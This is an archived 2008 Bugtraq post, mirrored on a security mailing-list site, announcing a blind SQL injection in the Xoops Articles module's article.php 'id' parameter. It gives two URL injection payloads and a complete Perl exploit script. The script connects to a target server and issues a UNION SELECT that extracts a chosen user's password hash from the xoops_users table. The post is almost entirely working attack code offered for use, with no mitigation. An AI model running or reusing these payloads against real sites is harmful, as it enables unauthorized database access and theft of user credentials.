Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Bugtraq: Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it

Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it

From: <crazy_kinq_at_hotmail.co.uk>
Date: 19 Apr 2008 09:34:13 -0000
('binary' encoding is not supported, stored as-is) /Cr@zy_King / http://coderx.org

Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it

Sql 1-2

article.php?id=3+union+select+1,2,3,4,5,6,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),8,9,0,1,2,3,4,5,6,7,8,9,0/*

article.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*

# Exploit :

#############################################
#Coded By Cr@zy_King http://coderx.org]#
#############################################

use IO::Socket;

if (@ARGV != 3)
{
    print "\n-----------------------------------\n";
    print "Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it\n";
    print "-----------------------------------\n";
    print "\n4ever Cra\n";
    print "crazy_kinq[at]hotmail.co.uk\n";
    print "http://coderx.org\n";
    print "\n-----------------------------------\n";
    print "\nKullanim: $0 <server> <path> <uid>\n";
    print "Ornek: $0 www.victim.com /path 1\n";
    print "\n-----------------------------------\n";
    exit ();
}

$server = $ARGV[0];
$path = $ARGV[1];
$uid = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort =>
"80");
printf $socket ("GET
%s/modules/articles/article.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection:
close\n\n",
$path,$server,$uid);

while(<$socket>)

{
    if (/\>(\w{32})\</) { print "\nID '$uid' User Password :\n\n$1\n"; }
}

# Cr_at_zy_King
# http://coderx.org
# crazy_kinq_at_hotmail.co.uk
Received on Apr 21 2008

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]